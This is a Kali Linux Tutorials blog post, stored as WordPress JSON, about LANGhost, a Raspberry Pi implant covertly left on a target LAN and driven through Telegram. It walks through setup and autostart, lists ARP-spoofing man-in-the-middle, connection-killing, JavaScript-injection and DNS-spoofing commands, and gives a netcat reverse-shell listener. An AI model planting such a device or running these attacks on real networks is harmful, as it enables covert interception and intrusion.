{"id":5158,"date":"2019-05-25T15:16:24","date_gmt":"2019-05-25T09:46:24","guid":{"rendered":"http:\/\/kalilinuxtutorials.com\/?p=5158"},"modified":"2019-05-25T15:16:24","modified_gmt":"2019-05-25T09:46:24","slug":"langhost","status":"publish","type":"post","link":"https:\/\/kalilinuxtutorials.com\/langhost\/","title":{"rendered":"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram"},"content":{"rendered":"\n<p>LANGhost is designed for <strong>Raspberry Pis<\/strong> (<strong>Raspbian<\/strong>\/<strong>Kali for RPi<\/strong>). Running it on other\/desktop distros could cause issues and may not work as excepted.<\/p>\n\n\n\n<p>You will need a <strong>Raspberry Pi<\/strong> with <strong>fresh Raspbian\/Kali<\/strong> on the SD card, because you don&#8217;t want anything else running in the background.<\/p>\n\n\n\n<p>Boot up the Pi, get an SSH sell or connect a monitor and a keyboard and enter these commands:<\/p>\n\n\n\n<p><strong>Also Read &#8211; <a href=\"https:\/\/kalilinuxtutorials.com\/flashsploit\/\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"FlashSploit : Exploitation Framework For ATtiny85 Based HID Attacks (opens in a new tab)\">FlashSploit : Exploitation Framework For ATtiny85 Based HID Attacks<\/a><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-background has-vivid-green-cyan-color has-very-dark-gray-background-color\"><strong>$ sudo apt update &amp;&amp; sudo apt install python3 python3-pip<br>$ git clone https:\/\/github.com\/xdavidhu\/lanGhost<br>$ cd lanGhost<br>$ sudo .\/setup.py<\/strong><\/p>\n\n\n\n<p>Please <strong>read<\/strong> the questions\/messages while running the setup script!<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#step-14---setuppy\"><\/a><\/h4>\n\n\n\n<p><strong>step 1\/4 &#8211; setup.py<\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-background has-vivid-green-cyan-color has-very-dark-gray-background-color\">[+] Please enter the name of the network interface connected\/will\nbe connected to the target LAN. Default wired interface is &#8216;eth0&#8217;,\nand the default wireless interface is &#8216;wlan0&#8217; on most systems, but\nyou can check it in a different terminal with the &#8216;ifconfig&#8217; command.\n<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#step-24---setuppy\"><\/a><\/h4>\n\n\n\n<p><strong>step 2\/4 &#8211; setup.py<\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-background has-vivid-green-cyan-color has-very-dark-gray-background-color\">[+] Please create a Telegram API key by messaging @BotFather on Telegram with the command &#8216;\/newbot&#8217;. <br><br>After this, @BotFather will ask you to choose a name for your bot. This can be anything you want. <br><br>Lastly, @BotFather will ask you for a username for your bot. You have to choose a unique username here which ends with &#8216;bot&#8217;. For example: xdavidbot. Make note of this username, since later you will have to search for this to find your bot, which lanGhost will be running on. <br><br>After you send your username of choise to @BotFather, you will recieve your API key.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-yb4wBogBLQw\/XOfabg6eLaI\/AAAAAAAAAh0\/gy-XIilnfmU7vXlxuM3gOSmTZMzE1Fm6gCLcBGAs\/s1600\/lanGhost-1.png\" alt=\"\"\/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-r33b3XtDGHU\/XOfablNZt_I\/AAAAAAAAAh4\/Qv8koIzD-LA_AHN4cVOHGnfeepe8oO_FQCLcBGAs\/s1600\/lanGhost-2.png\" alt=\"\"\/><\/figure><\/div>\n\n\n\n<p><strong>step 3\/4 &#8211; setup.py<\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-background has-vivid-green-cyan-color has-very-dark-gray-background-color\">[+] Now for lanGhost to only allow access to you, you need to verify yourself. <br><br>Send the verification code below TO THE BOT you just created. Just search for your bot&#8217;s @username (what you sent to @BotFather) to find it. <br><br>[+] Verification code to send: ****** <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-fUno3mQ5Uik\/XOfacIfQXrI\/AAAAAAAAAh8\/okFr10B4UlImNVTJi23a3oZjlRga0N6YwCLcBGAs\/s1600\/lanGhost-3.png\" alt=\"\"\/><\/figure><\/div>\n\n\n\n<p><strong>step 4\/4 &#8211; setup.py<\/strong><\/p>\n\n\n\n<p>[+] Do you want lanGhost to start on boot? This option is necessary if you are using\nthis device as a dropbox, because when you are going to drop this device into a\nnetwork, you will not have the chanse to start lanGhost remotely! (autostart works\nby adding a new cron &#8216;@reboot&#8217; entry)\n<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#if-you-are-ready-with-the-setup-just-reboot-the-pi-and-langhost-will-start-right-up\"><\/a><\/h3>\n\n\n\n<p>If you are ready with the setup just reboot the Pi and lanGhost will start right up! <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-cQfGz861x6I\/XOfaci8vApI\/AAAAAAAAAiA\/X2Fn6q69M-Mx2gPg1b-ZarE07Su6DP4BgCLcBGAs\/s1600\/lanGhost-4.png\" alt=\"\"\/><\/figure><\/div>\n\n\n\n<p style=\"text-align:center\" class=\"has-background has-light-green-cyan-background-color\"><strong>Usage<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#warnings\"><\/a><\/h3>\n\n\n\n<p><strong>Warnings:<\/strong> Using lanGhost on a networks bigger than \/24 is <strong>not recommended<\/strong> because the scans will take too long.<\/p>\n\n\n\n<p>lanGhost is <strong>not quiet<\/strong>. Anyone monitoring the traffic can see the ARP packets!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#drop-it-into-a-network\"><\/a><\/h3>\n\n\n\n<p>drop it into a network:<\/p>\n\n\n\n<p>If you have selected <code>yes<\/code> at <code>step 4\/4 (autostart)<\/code> the Pi is fully set up for dropping. lanGhost should start up on boot, and send you a message on Telegram with the text: <code>lanGhost started! \ud83d\udc7b<\/code>.<\/p>\n\n\n\n<p>Make sure to try it out in your lab first and test if lanGhost is responding to your messages!<\/p>\n\n\n\n<p>If you are all set, just connect it to the target network by plugging\n in the Ethernet cable into the Pi and connecting the power via micro \nUSB and you are ready to go!<\/p>\n\n\n\n<p>(lanGhost can also work over WiFi, but you will need to set up <code>wpa_supplicant<\/code> to connect to the network automatically first)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#available-commands\"><\/a><\/h3>\n\n\n\n<p><strong>Available Commands:<\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-background has-vivid-green-cyan-color has-very-dark-gray-background-color\">\/scan &#8211; Scan LAN network<br>\n\/scanip [TARGET-IP] &#8211; Scan a specific IP address.<br>\n\/kill [TARGET-IP] &#8211; Stop the target&#8217;s network connection.<br>\n\/mitm [TARGET-IP] &#8211; Capture HTTP\/DNS traffic from target.<br>\n\/replaceimg [TARGET-IP] &#8211; Replace HTTP images requested by target.<br>\n\/injectjs [TARGET-IP] [JS-FILE-URL] &#8211; Inject JavaScript into HTTP pages requested by target.<br>\n\/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] &#8211; Spoof DNS records for target.<br>\n\/attacks &#8211; View currently running attacks.<br>\n\/stop [ATTACK-ID] &#8211; Stop a currently running attack.<br>\n\/restart &#8211; Restart lanGhost.<br>\n\/reversesh [TARGET-IP] [PORT] &#8211; Create a netcat reverse shell to target.<br>\n\/help &#8211; Display the help menu.<br>\n\/ping &#8211; Pong.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Attack System:<\/h3>\n\n\n\n<p>You can start an attack by using one of these commands: <code><strong>\/kill, \/mitm, \/replaceimg, \/injectjs, \/spoofdns<\/strong><\/code><\/p>\n\n\n\n<p>Ater you have one or more attacks running, you can use the <code><strong>\/attack<\/strong><\/code> command to get a list of them containing the <code><strong>ATTACK-ID<\/strong><\/code><strong>&#8216;s<\/strong>.<\/p>\n\n\n\n<p>To stop an attack type <code><strong>\/stop [ATTACK-ID]<\/strong><\/code>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#reverse-shell\"><\/a><\/h3>\n\n\n\n<p><strong>Reverse Shell:<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#warning-1\"><\/a><\/h3>\n\n\n\n<p><strong>Warning: <\/strong><code><strong>\/reversesh<\/strong><\/code> only makes a netcat TCP  connection which is not encrypted and all the traffic can be monitored!  Only use it for emergency fixes or for setting up an encrypted reverse  connection if necessary.<\/p>\n\n\n\n<p>The <code><strong>\/reversesh<\/strong><\/code> command is for getting a reverse shell on the Pi, when its not accessable from the outside.<\/p>\n\n\n\n<p>To use the <code><strong>\/reversesh<\/strong><\/code> command you will need to have a server listening for the shell.<\/p>\n\n\n\n<p>Netcat command to start up the listener on your server:<\/p>\n\n\n\n<p class=\"has-text-color has-background has-vivid-green-cyan-color has-very-dark-gray-background-color\"><strong>$&nbsp;nc -l 0.0.0.0 [PORT] <\/strong><\/p>\n\n\n\n<p>Telegram command:<\/p>\n\n\n\n<p class=\"has-text-color has-background has-vivid-green-cyan-color has-very-dark-gray-background-color\"><strong>\/reversesh [IP-of-your-listening-server] [PORT]<\/strong><\/p>\n\n\n\n<p><strong>Attacks:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code><strong>\/kill<\/strong><\/code> &#8211; Stops the internet connectivity for the target.<\/li><li><code><strong>\/mitm<\/strong><\/code> &#8211; Captures HTTP and DNS traffic from the target and sends it in text messages.<\/li><li><code><strong>\/replaceimg<\/strong><\/code> &#8211;  Replaces HTTP images for the target to what picture you send to the bot.<\/li><li><code><strong>\/injectjs<\/strong><\/code> &#8211; Injects JavaScript into every HTTP HTML  response for the target. You need to host the the JS file on your server  and give the URL as a parameter.<\/li><li><code><strong>\/spoofdns<\/strong><\/code> &#8211; Spoofs DNS responses for the target.<\/li><\/ul>\n\n\n\n<p>All attacks use <strong>ARP Spoofing<\/strong>!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#scans\"><\/a><\/h3>\n\n\n\n<p><strong>Scans:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code><strong>\/scan<\/strong><\/code> &#8211; Scans the local network and returns the hosts online. Uses <code>nmap -sn<\/code> scan to discover hosts.<\/li><li><code><strong>\/scanip<\/strong><\/code> &#8211; Scans an IP address for open ports and other info. Uses <code>nmap -sS<\/code> scan.<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#notifications\"><\/a><\/h3>\n\n\n\n<p><strong>Notifications:<\/strong><\/p>\n\n\n\n<p>You will get a message every time when a new device connects\/leaves the network.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#disclaimer\"><\/a><\/h1>\n\n\n\n<p style=\"text-align:center\" class=\"has-background has-light-green-cyan-background-color\"><strong>Disclaimer<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/xdavidhu\/lanGhost#im-not-responsible-for-anything-you-do-with-this-program-so-please-only-use-it-for-good-and-educational-purposes\"><\/a><\/h3>\n\n\n\n<p>I&#8217;m not responsible for anything you do with this program, so please only use it for good and educational purposes.<\/p>\n\n\n\n<div class=\"wp-block-button aligncenter is-style-squared\"><a class=\"wp-block-button__link has-background has-vivid-cyan-blue-background-color\" href=\"https:\/\/github.com\/xdavidhu\/lanGhost\"><strong>Download<\/strong><\/a><\/div>\n","protected":false},"excerpt":{"rendered":"<p>LANGhost is designed for Raspberry Pis (Raspbian\/Kali for RPi). Running it on other\/desktop distros could cause issues and may not work as excepted. You will need a Raspberry Pi with fresh Raspbian\/Kali on the SD card, because you don&#8217;t want anything else running in the background. Boot up the Pi, get an SSH sell or [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":15571,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png","fifu_image_alt":"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[28],"tags":[967,1844,1846,3325],"class_list":["post-5158","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kali","tag-dropbox","tag-lan","tag-langhost","tag-telegram"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram<\/title>\n<meta name=\"description\" content=\"LANGhost is designed for Raspberry Pis (Raspbian\/Kali for RPi). Running it on other\/desktop distros could cause issues and may not work as excepted.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/kalilinuxtutorials.com\/langhost\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram\" \/>\n<meta property=\"og:description\" content=\"LANGhost is designed for Raspberry Pis (Raspbian\/Kali for RPi). Running it on other\/desktop distros could cause issues and may not work as excepted.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/kalilinuxtutorials.com\/langhost\/\" \/>\n<meta property=\"og:site_name\" content=\"Kali Linux Tutorials\" \/>\n<meta property=\"article:published_time\" content=\"2019-05-25T09:46:24+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png\" \/>\n<meta name=\"author\" content=\"R K\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png\" \/>\n<meta name=\"twitter:creator\" content=\"@CyberEdition\" \/>\n<meta name=\"twitter:site\" content=\"@CyberEdition\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"R K\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/langhost\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/langhost\/\"},\"author\":{\"name\":\"R K\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad\"},\"headline\":\"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram\",\"datePublished\":\"2019-05-25T09:46:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/langhost\/\"},\"wordCount\":910,\"publisher\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/langhost\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png\",\"keywords\":[\"Dropbox\",\"LAN\",\"LANGhost\",\"Telegram\"],\"articleSection\":[\"Kali Linux\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/langhost\/\",\"url\":\"https:\/\/kalilinuxtutorials.com\/langhost\/\",\"name\":\"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram\",\"isPartOf\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/langhost\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/langhost\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png\",\"datePublished\":\"2019-05-25T09:46:24+00:00\",\"description\":\"LANGhost is designed for Raspberry Pis (Raspbian\/Kali for RPi). Running it on other\/desktop distros could cause issues and may not work as excepted.\",\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/kalilinuxtutorials.com\/langhost\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/langhost\/#primaryimage\",\"url\":\"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png\",\"contentUrl\":\"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png\"},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#website\",\"url\":\"https:\/\/kalilinuxtutorials.com\/\",\"name\":\"Kali Linux Tutorials\",\"description\":\"Kali Linux Tutorials\",\"publisher\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/kalilinuxtutorials.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#organization\",\"name\":\"Kali Linux Tutorials\",\"url\":\"https:\/\/kalilinuxtutorials.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png\",\"contentUrl\":\"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png\",\"width\":272,\"height\":90,\"caption\":\"Kali Linux Tutorials\"},\"image\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/x.com\/CyberEdition\",\"https:\/\/www.threads.com\/@cybersecurityedition\",\"https:\/\/www.linkedin.com\/company\/cyberedition\",\"https:\/\/www.instagram.com\/cybersecurityedition\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad\",\"name\":\"R K\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g\",\"caption\":\"R K\"},\"url\":\"https:\/\/kalilinuxtutorials.com\/author\/ranjith\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram","description":"LANGhost is designed for Raspberry Pis (Raspbian\/Kali for RPi). Running it on other\/desktop distros could cause issues and may not work as excepted.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/kalilinuxtutorials.com\/langhost\/","og_locale":"en_US","og_type":"article","og_title":"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram","og_description":"LANGhost is designed for Raspberry Pis (Raspbian\/Kali for RPi). Running it on other\/desktop distros could cause issues and may not work as excepted.","og_url":"https:\/\/kalilinuxtutorials.com\/langhost\/","og_site_name":"Kali Linux Tutorials","article_published_time":"2019-05-25T09:46:24+00:00","og_image":[{"url":"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png","type":"","width":"","height":""}],"author":"R K","twitter_card":"summary_large_image","twitter_image":"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png","twitter_creator":"@CyberEdition","twitter_site":"@CyberEdition","twitter_misc":{"Written by":"R K","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/kalilinuxtutorials.com\/langhost\/#article","isPartOf":{"@id":"https:\/\/kalilinuxtutorials.com\/langhost\/"},"author":{"name":"R K","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad"},"headline":"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram","datePublished":"2019-05-25T09:46:24+00:00","mainEntityOfPage":{"@id":"https:\/\/kalilinuxtutorials.com\/langhost\/"},"wordCount":910,"publisher":{"@id":"https:\/\/kalilinuxtutorials.com\/#organization"},"image":{"@id":"https:\/\/kalilinuxtutorials.com\/langhost\/#primaryimage"},"thumbnailUrl":"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png","keywords":["Dropbox","LAN","LANGhost","Telegram"],"articleSection":["Kali Linux"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/kalilinuxtutorials.com\/langhost\/","url":"https:\/\/kalilinuxtutorials.com\/langhost\/","name":"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram","isPartOf":{"@id":"https:\/\/kalilinuxtutorials.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/kalilinuxtutorials.com\/langhost\/#primaryimage"},"image":{"@id":"https:\/\/kalilinuxtutorials.com\/langhost\/#primaryimage"},"thumbnailUrl":"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png","datePublished":"2019-05-25T09:46:24+00:00","description":"LANGhost is designed for Raspberry Pis (Raspbian\/Kali for RPi). Running it on other\/desktop distros could cause issues and may not work as excepted.","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/kalilinuxtutorials.com\/langhost\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kalilinuxtutorials.com\/langhost\/#primaryimage","url":"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png","contentUrl":"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png"},{"@type":"WebSite","@id":"https:\/\/kalilinuxtutorials.com\/#website","url":"https:\/\/kalilinuxtutorials.com\/","name":"Kali Linux Tutorials","description":"Kali Linux Tutorials","publisher":{"@id":"https:\/\/kalilinuxtutorials.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/kalilinuxtutorials.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/kalilinuxtutorials.com\/#organization","name":"Kali Linux Tutorials","url":"https:\/\/kalilinuxtutorials.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/","url":"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png","contentUrl":"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png","width":272,"height":90,"caption":"Kali Linux Tutorials"},"image":{"@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/CyberEdition","https:\/\/www.threads.com\/@cybersecurityedition","https:\/\/www.linkedin.com\/company\/cyberedition","https:\/\/www.instagram.com\/cybersecurityedition\/"]},{"@type":"Person","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad","name":"R K","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g","caption":"R K"},"url":"https:\/\/kalilinuxtutorials.com\/author\/ranjith\/"}]}},"jetpack_featured_media_url":"https:\/\/1.bp.blogspot.com\/-wmkIIi8_9R0\/XOfc2nLjUUI\/AAAAAAAAAig\/uxLRrA4czUwQf2KdTAlgIHgEqlfSPoZfgCLcBGAs\/s1600\/lanGhost%25281%2529.png","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":7198,"url":"https:\/\/kalilinuxtutorials.com\/sparrow-wifi-next-gen-gui-based-wifi-bluetooth-analyzer\/","url_meta":{"origin":5158,"position":0},"title":"Sparrow WiFi : Next-Gen GUI-based WiFi &#038; Bluetooth Analyzer for Linux","author":"R K","date":"November 8, 2019","format":false,"excerpt":"Sparrow WiFi has been built from the ground up to be the next generation 2.4 GHz and 5 GHz WiFi spectral awareness tool. At its most basic it provides a more comprehensive GUI-based replacement for tools like inSSIDer and linssid that runs specifically on Linux. In its most comprehensive use\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":26314,"url":"https:\/\/kalilinuxtutorials.com\/pinecone\/","url_meta":{"origin":5158,"position":1},"title":"Pinecone : A WLAN Red Team Framework","author":"R K","date":"August 3, 2022","format":false,"excerpt":"Pinecone is a WLAN networks auditing tool, suitable for red team usage. It is extensible via modules, and it is designed to be run in Debian-based operating systems. Pinecone is specially oriented to be used with a Raspberry Pi, as a portable wireless auditing box. This tool is designed for\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali 